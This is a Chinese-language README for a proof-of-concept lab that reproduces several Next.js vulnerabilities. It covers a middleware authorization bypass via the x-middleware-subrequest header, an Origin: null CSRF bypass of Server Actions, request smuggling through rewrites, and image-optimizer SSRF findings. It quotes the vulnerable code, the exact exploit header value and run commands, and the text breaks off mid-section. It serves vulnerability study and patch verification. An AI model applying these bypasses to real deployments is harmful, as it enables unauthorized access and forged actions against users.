本仓库包含三个 Next.js 漏洞的可复现概念验证环境。每个 PoC 包含一个存在漏洞的目标、一个已修复的目标,以及一个演示两者行为差异的脚本。
本项目的目标是让每个问题的根本原因和实际影响在最小环境中易于观察。
| CVE | 安全公告 | 影响 | 受影响版本 | 修复版本 |
|---|---|---|---|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | 当访问控制仅依赖中间件时,授权绕过 | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | Origin: null 绕过 Server Actions 的 CSRF 检查 | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | 通过重写到外部后端的 HTTP 请求走私 | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | 本地源码审计发现 | 图片优化器通过重定向绕过远程白名单 | 16.2.4 | 未验证 |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | 本地源码审计发现 | 图片优化器本地 URL 可通过外部重写访问私有上游 | 16.2.4 | 未验证 |
以下哈希来自上游 vercel/next.js。
| CVE | 受影响版本发布提交 | 修复版本发布提交 | 相关补丁提交 |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose 可用。docker compose up --build
暴露的端口:
3001 -> CVE-2025-29927 存在漏洞3002 -> CVE-2025-29927 已修复3003 -> CVE-2026-27978 存在漏洞3004 -> CVE-2026-27978 已修复3005 -> CVE-2026-29057 存在漏洞3006 -> CVE-2026-29057 已修复3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE在此 PoC 中,/dashboard 仅由中间件保护:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
授权检查本身并无错误。问题在于路由完全依赖于中间件执行不可跳过的假设。
在受影响的 Next.js 版本中,外部请求仍然可以提供内部头部 x-middleware-subrequest,而运行时将该值视为受信任的中间件元数据。相关的漏洞逻辑如下:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest 并未被过滤,因此攻击者控制的输入可以到达中间件运行时。该值随后被用于推导递归深度:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
如果攻击者发送 middleware:middleware:middleware:middleware:middleware,运行时可能认为递归深度已达到,并将请求转发而不执行应用中间件。
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
预期行为:
3001 在没有利用头部时返回重定向,但使用 x-middleware-subrequest 时返回 200 OK。3002 继续重定向到 /login,因为内部头部不再受外部输入信任。此 PoC 暴露了一个改变服务端状态的普通 Server Action:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
问题不在于 transferFunds() 本身。漏洞行为出现在 Next.js 对 Server Actions 的 CSRF 验证中。在受影响版本中,Origin: null 被当作缺失的 origin 处理,而非明确的 opaque origin:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
因为 'null' 变成了 undefined,来自 opaque origin(例如沙箱 iframe)的请求可以绕过 host/origin 比较路径,仍然携带受害者 cookie 进行处理。
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
预期行为:
Origin: null 提交。此 PoC 将 /rewrites/:path* 重写到外部后端:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
漏洞行为出现在 Next.js 用于重写的 vendored http-proxy 依赖中。在受影响版本中,针对 DELETE 和 OPTIONS 请求的代理逻辑可能添加 content-length: 0 并删除 transfer-encoding:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
当精心构造的分块请求被转发时,这导致了代理链和后端之间的请求边界不一致。结果,第二个请求可能通过同一连接被走私到后端。
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
预期行为:
DELETE /rewrites/poc 分块请求,其中包含一个被走私的 GET /secret。DELETE /rewrites/poc 和 GET /secret。观察到的示例输出:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
本地 next.js-16.2.4 源码仅对 ImageOptimizerCache.validateParams() 中的原始 url 参数验证 images.remotePatterns:
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
随后网络获取路径在 fetchExternalImage() 中递归跟随重定向: